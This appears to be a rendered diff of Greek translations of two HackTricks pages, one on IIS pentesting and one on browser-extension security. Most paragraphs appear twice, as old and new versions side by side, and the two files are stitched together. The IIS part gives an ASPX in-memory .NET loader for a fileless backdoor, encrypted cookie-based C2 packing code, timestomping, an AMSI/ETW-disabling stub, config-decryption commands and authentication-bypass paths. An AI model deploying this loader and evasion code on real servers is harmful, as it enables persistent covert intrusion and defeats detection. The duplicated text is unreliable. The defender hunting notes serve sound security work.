Από [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -187,41 +187,158 @@ C:\xampp\tomcat\conf\server.xml
Αν δείτε ένα σφάλμα όπως το παρακάτω:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Σημαίνει ότι ο διακομιστής **δεν έλαβε το σωστό όνομα τομέα** μέσα στην κεφαλίδα Host.\
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο **SSL Certificate** που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, ίσως χρειαστεί να **brute force VHosts** μέχρι να βρείτε το σωστό.
Σημαίνει ότι ο server **didn't receive the correct domain name** μέσα στο Host header.\
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να κοιτάξετε το σερβιρισμένο **SSL Certificate** και ίσως βρείτε το domain/subdomain εκεί. Αν δεν υπάρχει, ίσως χρειαστεί να κάνετε **brute force VHosts** μέχρι να βρείτε το σωστό.
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Δύο κοινά μοτίβα για την προστασία μυστικών σε IIS-hosted .NET apps είναι:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) για τμήματα web.config όπως <connectionStrings>.
- ASP.NET Core Data Protection key ring (persisted locally) που χρησιμοποιείται για την προστασία μυστικών εφαρμογής και cookies.
Αν έχετε πρόσβαση στο filesystem ή interactive στον web server, τα co-located keys συχνά επιτρέπουν την αποκρυπτογράφηση.
- ASP.NET (Full Framework) αποκρυπτογραφήστε προστατευμένα τμήματα config με aspnet_regiis:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core αναζητήστε Data Protection key rings αποθηκευμένα τοπικά (XML/JSON files) σε τοποθεσίες όπως:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Με το key ring διαθέσιμο, ένας operator που τρέχει με την ταυτότητα της εφαρμογής μπορεί να instantiate ένα IDataProtector με τα ίδια purposes και να unprotect αποθηκευμένα secrets. Λανθασμένες ρυθμίσεις που αποθηκεύουν το key ring μαζί με τα αρχεία της εφαρμογής κάνουν το offline decryption εύκολο μόλις ο host είναι compromised.
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Το Phantom Taurus/NET-STAR toolkit δείχνει ένα ώριμο pattern για fileless IIS persistence και postexploitation εξ ολοκλήρου μέσα στο w3wp.exe. Οι βασικές ιδέες είναι γενικά επαναχρησιμοποιήσιμες για custom tradecraft και για detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64encoded, optionally Gzipcompressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
- Cookiescoped, encrypted C2 with multistage packing: tasks/results are wrapped with Gzip → AESECB/PKCS7 → Base64 and moved via seemingly legitimate cookieheavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
- Optional AMSI/ETW predisable for loaders: a secondstage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of inmemory payloads.
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
Βοηθητικά για Packing/crypto (Gzip + AESECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AESECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Cookie/session flow and command surface
- Η εκκίνηση της συνεδρίας και η ανάθεση εργασιών πραγματοποιούνται μέσω cookies ώστε να συγχωνευτούν με τη συνηθισμένη δραστηριότητα του web.
- Οι εντολές που παρατηρήθηκαν στον πραγματικό κόσμο περιλάμβαναν: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; και δυναμικά execution primitives code_self, code_pid, run_code για εκτέλεση .NET εντός μνήμης.
Timestomping utility
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Ενσωματωμένη απενεργοποίηση AMSI/ETW πριν από Assembly.Load (loader variant)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
Δες τεχνικές bypass AMSI/ETW στο: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Μία περίεργη σελίδα ASPX με πολύ μεγάλα Base64/Gzip blobs; POSTs φορτωμένα με cookies.
- Μη-υποστηριζόμενα managed modules εντός w3wp.exe; strings like Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Επαναλαμβανόμενοι διαχωριστές όπως "STAR" στην κίνηση; μη-ταιριασμένες ή ακόμα και μελλοντικές χρονοσφραγίδες σε ASPX/assemblies.
## Old IIS vulnerabilities worth looking for
## Παλιές ευπάθειες IIS που αξίζει να αναζητήσετε
### Microsoft IIS tilde character “\~” Vulnerability/Feature Short File/Folder Name Disclosure
Μπορείτε να προσπαθήσετε να **enumerate folders and files** μέσα σε κάθε ανακαλυφθέν φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την **τεχνική**.\
Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι **μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων.
You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\
Ο βασικός περιορισμός αυτής της technique, αν ο server είναι ευάλωτος, είναι ότι **μπορεί να βρει μόνο έως τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων.
Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
Αρχική έρευνα: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Μπορείτε επίσης να χρησιμοποιήσετε **metasploit**: `use scanner/http/iis_shortname_scanner`
You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
Μια καλή ιδέα για να **βρείτε το τελικό όνομα** των ανακαλυφθέντων αρχείων είναι να **ρωτήσετε LLMs** για επιλογές όπως γίνεται στο σενάριο [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
Μια καλή ιδέα για να βρείτε το τελικό όνομα των ανακαλυφθέντων αρχείων είναι να ζητήσετε από LLMs επιλογές, όπως γίνεται στο script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Basic Authentication bypass
**Bypass** μια βασική αυθεντικοποίηση (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php`
Κάντε **Bypass** σε basic authentication (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση σε: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
Μπορείτε να προσπαθήσετε να **μείξετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **bypass** την αυθεντικοποίηση.
Μπορείτε να δοκιμάσετε να **mix** αυτή τη **vulnerability** με την προηγούμενη για να βρείτε νέους **folders** και να **bypass** την authentication.
## ASP.NET Trace.AXD enabled debugging
Το ASP.NET περιλαμβάνει μια λειτουργία αποσφαλμάτωσης και το αρχείο του ονομάζεται `trace.axd`.
Το ASP.NET περιλαμβάνει λειτουργία debugging και το αρχείο της ονομάζεται `trace.axd`.
Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου.
Κρατάει πολύ λεπτομερές log όλων των requests που γίνονται προς μια εφαρμογή σε μια περίοδο χρόνου.
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
Αυτές οι πληροφορίες περιλαμβάνουν remote client IPs, session IDs, όλα τα request και response cookies, physical paths, πληροφορίες source code, και ενδεχομένως ακόμα usernames και passwords.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -229,19 +346,19 @@ C:\xampp\tomcat\conf\server.xml
## ASPXAUTH Cookie
Το ASPXAUTH χρησιμοποιεί τις παρακάτω πληροφορίες:
ASPXAUTH uses the following info:
- **`validationKey`** (string): κλειδί σε μορφή hex για χρήση στην επικύρωση υπογραφής.
- **`decryptionMethod`** (string): (προεπιλογή “AES”).
- **`decryptionIV`** (string): αρχικοποιητικός διανύσματος σε μορφή hex (προεπιλογή ένα διανύσμα μηδενικών).
- **`decryptionKey`** (string): κλειδί σε μορφή hex για χρήση στην αποκρυπτογράφηση.
- **`validationKey`** (string): hex-encoded key to use for signature validation.
- **`decryptionMethod`** (string): (default “AES”).
- **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
- **`decryptionKey`** (string): hex-encoded key to use for decryption.
Ωστόσο, κάποιοι άνθρωποι θα χρησιμοποιήσουν τις **προεπιλεγμένες τιμές** αυτών των παραμέτρων και θα χρησιμοποιήσουν ως **cookie το email του χρήστη**. Επομένως, αν μπορείτε να βρείτε έναν ιστότοπο που χρησιμοποιεί την **ίδια πλατφόρμα** που χρησιμοποιεί το cookie ASPXAUTH και **δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε** στον διακομιστή που δέχεται επίθεση, μπορεί να είστε σε θέση να χρησιμοποιήσετε **το cookie από τον δεύτερο διακομιστή στον πρώτο** και να προσποιηθείτε τον χρήστη.\
Αυτή η επίθεση λειτούργησε σε αυτή την [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
Ωστόσο, κάποιοι θα χρησιμοποιήσουν τις **default values** αυτών των παραμέτρων και θα χρησιμοποιήσουν ως **cookie το email του χρήστη**. Επομένως, αν βρείτε έναν ιστό που χρησιμοποιεί την **same platform** και χρησιμοποιεί το ASPXAUTH cookie και δημιουργήσετε **έναν χρήστη με το email του χρήστη που θέλετε να μιμηθείτε** στον server-στόχο, μπορεί να είστε σε θέση να us**e the cookie from the second server in the first one** και να μιμηθείτε τον χρήστη.\
Αυτό δούλεψε σε αυτό το [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου **ο κωδικός πρόσβασης hash χτυπά ένα κλειδί** που είναι ήδη στην **cache** θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Σφάλμα στον κώδικα που **δεν ελέγχε σωστά το password που δίνει ο χρήστης**, οπότε ένας επιτιθέμενος του οποίου το **password hash συμπίπτει με ένα key** που υπάρχει ήδη στην **cache** θα είναι σε θέση να συνδεθεί ως αυτός ο χρήστης.
```python
# script for sanity check
> type test.py
@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## Αναφορές
- [Unit 42 Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Browser Extension Pentesting Methodology
# Μεθοδολογία Browser Extension Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Βασικές Πληροφορίες
Οι επεκτάσεις προγράμματος περιήγησης είναι γραμμένες σε JavaScript και φορτώνονται από τον περιηγητή στο παρασκήνιο. Έχει το [DOM](https://www.w3schools.com/js/js_htmldom.asp) του αλλά μπορεί να αλληλεπιδρά με τα DOM άλλων ιστότοπων. Αυτό σημαίνει ότι μπορεί να θέσει σε κίνδυνο την εμπιστευτικότητα, την ακεραιότητα και τη διαθεσιμότητα (CIA) άλλων ιστότοπων.
Οι browser extensions γράφονται σε JavaScript και φορτώνονται από τον browser στο παρασκήνιο. Έχει το [DOM](https://www.w3schools.com/js/js_htmldom.asp) του αλλά μπορεί να αλληλεπιδρά με τα DOM άλλων ιστοτόπων. Αυτό σημαίνει ότι μπορεί να συμβιβάσει την εμπιστευτικότητα, την ακεραιότητα και τη διαθεσιμότητα (CIA) άλλων ιστοτόπων.
## Main Components
## Κύρια Συστατικά
Οι διάταξεις των επεκτάσεων φαίνονται καλύτερες όταν απεικονίζονται και αποτελούνται από τρία συστατικά. Ας δούμε κάθε συστατικό σε βάθος.
Οι δομές των extension φαίνονται καλύτερα όταν οπτικοποιούνται και αποτελούνται από τρία στοιχεία. Ας δούμε κάθε στοιχείο σε βάθος.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
Κάθε script περιεχομένου έχει άμεση πρόσβαση στο DOM μιας **μοναδικής ιστοσελίδας** και είναι έτσι εκτεθειμένο σε **πιθανώς κακόβουλη είσοδο**. Ωστόσο, το script περιεχομένου δεν περιέχει δικαιώματα εκτός από την ικανότητα να στέλνει μηνύματα στον πυρήνα της επέκτασης.
Κάθε content script έχει άμεση πρόσβαση στο DOM μιας **μονής web page** και ως εκ τούτου εκτίθεται σε **ενδεχομένως κακόβουλη είσοδο**. Ωστόσο, το content script δεν περιλαμβάνει δικαιώματα πέραν της ικανότητας να στέλνει μηνύματα στον extension core.
### **Extension Core**
Ο πυρήνας της επέκτασης περιέχει τα περισσότερα από τα δικαιώματα/πρόσβαση της επέκτασης, αλλά ο πυρήνας της επέκτασης μπορεί να αλληλεπιδρά μόνο με το περιεχόμενο του ιστού μέσω του [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) και των scripts περιεχομένου. Επίσης, ο πυρήνας της επέκτασης δεν έχει άμεση πρόσβαση στη μηχανή φιλοξενίας.
Το extension core περιέχει τα περισσότερα από τα προνόμια/προσβάσεις της επέκτασης, αλλά το extension core μπορεί να αλληλεπιδρά με web content μόνο μέσω [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) και content scripts. Επίσης, το extension core δεν έχει άμεση πρόσβαση στο host machine.
### **Native Binary**
Η επέκταση επιτρέπει μια εγγενή δυαδική που μπορεί να **πρόσβαση στη μηχανή φιλοξενίας με τα πλήρη δικαιώματα του χρήστη.** Η εγγενής δυαδική αλληλεπιδρά με τον πυρήνα της επέκτασης μέσω του τυπικού Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) που χρησιμοποιείται από το Flash και άλλα πρόσθετα προγράμματος περιήγησης.
Η επέκταση επιτρέπει ένα native binary που μπορεί να έχει **πρόσβαση στο host machine με τα πλήρη προνόμια του χρήστη.** Το native binary αλληλεπιδρά με το extension core μέσω του standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) που χρησιμοποιείται από το Flash και άλλα browser plug-ins.
### Boundaries
> [!CAUTION]
> Για να αποκτήσει τα πλήρη δικαιώματα του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το script περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στη εγγενή δυαδική.
> Για να αποκτήσει τα πλήρη προνόμια του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να μεταφέρει κακόβουλη είσοδο από το content script στον πυρήνα της επέκτασης (extension's core) και από τον πυρήνα της επέκτασης στο native binary.
Κάθε συστατικό της επέκτασης είναι χωρισμένο από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα scripts περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες του λειτουργικού συστήματος.
Κάθε στοιχείο της extension διαχωρίζεται μεταξύ τους με **ισχυρά προστατευτικά όρια**. Το κάθε στοιχείο τρέχει σε μια **ξεχωριστή διεργασία του λειτουργικού συστήματος**. Οι Content scripts και τα extension cores τρέχουν σε **sandbox processes** που δεν είναι διαθέσιμες στις περισσότερες υπηρεσίες του λειτουργικού συστήματος.
Επιπλέον, τα scripts περιεχομένου χωρίζονται από τις σχετικές ιστοσελίδες τους **εκτελώντας σε μια ξεχωριστή στοίβα JavaScript**. Το script περιεχομένου και η ιστοσελίδα έχουν **πρόσβαση στο ίδιο υποκείμενο DOM**, αλλά οι δύο **ποτέ δεν ανταλλάσσουν δείκτες JavaScript**, αποτρέποντας τη διαρροή λειτουργικότητας JavaScript.
Επιπλέον, τα content scripts διαχωρίζονται από τις αντίστοιχες web pages τους **τρέχοντας σε ξεχωριστό JavaScript heap**. Το content script και η web page έχουν **πρόσβαση στο ίδιο υποκείμενο DOM**, αλλά τα δύο **ποτέ δεν ανταλλάσσουν JavaScript pointers**, αποτρέποντας το leaking της JavaScript λειτουργικότητας.
## **`manifest.json`**
Μια επέκταση Chrome είναι απλώς ένας φάκελος ZIP με μια [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ο πυρήνας της επέκτασης είναι το **`manifest.json`** αρχείο στη ρίζα του φακέλου, το οποίο καθορίζει τη διάταξη, τα δικαιώματα και άλλες επιλογές διαμόρφωσης.
Μια Chrome extension είναι απλώς ένας φάκελος ZIP με [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ο πυρήνας της επέκτασης είναι το **`manifest.json`** αρχείο στη ρίζα του φακέλου, το οποίο καθορίζει τη διάταξη, τα δικαιώματα και άλλες επιλογές διαμόρφωσης.
Example:
Παράδειγμα:
```json
{
"manifest_version": 2,
@ -61,7 +61,7 @@ Example:
```
### `content_scripts`
Τα scripts περιεχομένου **φορτώνονται** όποτε ο χρήστης **μεταβαίνει σε μια αντίστοιχη σελίδα**, στην περίπτωσή μας οποιαδήποτε σελίδα που ταιριάζει με την **`https://example.com/*`** έκφραση και δεν ταιριάζει με την **`*://*/*/business*`** κανονική έκφραση. Εκτελούνται **όπως τα δικά της scripts της σελίδας** και έχουν αυθαίρετη πρόσβαση στο [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) της σελίδας.
Content scripts **φορτώνονται** όποτε ο χρήστης **πλοηγείται σε σελίδα που ταιριάζει**, στην περίπτωσή μας οποιαδήποτε σελίδα που ταιριάζει με την έκφραση **`https://example.com/*`** και δεν ταιριάζει με το regex **`*://*/*/business*`**. Εκτελούνται **όπως τα δικά scripts της σελίδας** και έχουν αυθαίρετη πρόσβαση στο [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
@ -76,9 +76,9 @@ Example:
}
],
```
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση **`include_globs`** και **`exclude_globs`**.
Για να συμπεριλάβετε ή να εξαιρέσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατό να χρησιμοποιήσετε **`include_globs`** και **`exclude_globs`**.
Αυτό είναι ένα παράδειγμα περιεχομένου script που θα προσθέσει ένα κουμπί εξήγησης στη σελίδα όταν [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να ανακτήσει την τιμή `message` από την αποθήκευση της επέκτασης.
Αυτό είναι ένα παράδειγμα content script το οποίο θα προσθέσει ένα explain κουμπί στη σελίδα όταν χρησιμοποιηθεί [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να ανακτήσει την τιμή `message` από το storage της επέκτασης.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,24 +91,24 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Ένα μήνυμα αποστέλλεται στις σελίδες της επέκτασης από το περιεχόμενο του script όταν αυτό το κουμπί πατηθεί, μέσω της χρήσης του [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Αυτό οφείλεται στον περιορισμό του περιεχομένου του script στην άμεση πρόσβαση σε APIs, με το `storage` να είναι μία από τις λίγες εξαιρέσεις. Για λειτουργίες πέρα από αυτές τις εξαιρέσεις, τα μηνύματα αποστέλλονται στις σελίδες της επέκτασης με τις οποίες μπορούν να επικοινωνούν τα περιεχόμενα scripts.
Ένα μήνυμα αποστέλλεται στις extension pages από το content script όταν αυτό το κουμπί πατηθεί, μέσω της χρήσης της [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Αυτό οφείλεται στον περιορισμό του content script στην άμεση πρόσβαση σε APIs, με το `storage` να είναι μία από τις λίγες εξαιρέσεις. Για λειτουργίες πέρα από αυτές τις εξαιρέσεις, τα μηνύματα αποστέλλονται σε extension pages με τα οποία τα content scripts μπορούν να επικοινωνήσουν.
> [!WARNING]
> Ανάλογα με τον περιηγητή, οι δυνατότητες του περιεχομένου του script μπορεί να διαφέρουν ελαφρώς. Για τους περιηγητές που βασίζονται σε Chromium, η λίστα δυνατοτήτων είναι διαθέσιμη στην [τεκμηρίωση Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), και για τον Firefox, το [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) χρησιμεύει ως η κύρια πηγή.\
> Είναι επίσης αξιοσημείωτο ότι τα περιεχόμενα scripts έχουν τη δυνατότητα να επικοινωνούν με τα background scripts, επιτρέποντάς τους να εκτελούν ενέργειες και να μεταφέρουν απαντήσεις πίσω.
> Ανάλογα με τον browser, οι δυνατότητες του content script ενδέχεται να διαφέρουν ελαφρώς. Για browsers βάσει Chromium, η λίστα δυνατοτήτων είναι διαθέσιμη στην [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), και για τον Firefox, το [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) αποτελεί την κύρια πηγή.\
> Αξίζει επίσης να σημειωθεί ότι τα content scripts μπορούν να επικοινωνούν με τα background scripts, επιτρέποντάς τους να εκτελούν ενέργειες και να επιστρέφουν απαντήσεις.
Για την προβολή και την αποσφαλμάτωση των περιεχομένων scripts στο Chrome, το μενού εργαλείων προγραμματιστών του Chrome μπορεί να προσπελαστεί από Επιλογές > Περισσότερα εργαλεία > Εργαλεία προγραμματιστών Ή πατώντας Ctrl + Shift + I.
Για την προβολή και αποσφαλμάτωση των content scripts στο Chrome, το μενού Chrome developer tools μπορεί να ανοιχτεί από Options > More tools > Developer tools ή πατώντας Ctrl + Shift + I.
Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην **καρτέλα Πηγή**, ακολουθούμενη από την καρτέλα **Περιεχόμενα Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και την ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης.
Αφού εμφανιστούν τα developer tools, κάντε κλικ στην **Source tab**, και στη συνέχεια στην **Content Scripts** tab. Αυτό επιτρέπει την παρακολούθηση των ενεργών content scripts από διάφορες επεκτάσεις και τον ορισμό breakpoints για την παρακολούθηση της ροής εκτέλεσης.
### Εισαγόμενα περιεχόμενα scripts
### Ενέσιμα content scripts
> [!TIP]
> Σημειώστε ότι **Τα Περιεχόμενα Scripts δεν είναι υποχρεωτικά** καθώς είναι επίσης δυνατή η **δυναμική** **εισαγωγή** scripts και η **προγραμματική εισαγωγή τους** σε ιστοσελίδες μέσω του **`tabs.executeScript`**. Αυτό παρέχει στην πραγματικότητα περισσότερους **λεπτομερείς ελέγχους**.
> Σημειώστε ότι οι **Content Scripts δεν είναι υποχρεωτικοί**, καθώς είναι επίσης δυνατό να **ενέσετε δυναμικά** scripts και να τα **ενέσετε προγραμματιστικά** σε σελίδες web μέσω του **`tabs.executeScript`**. Αυτό στην πραγματικότητα παρέχει πιο **λεπτομερή έλεγχο**.
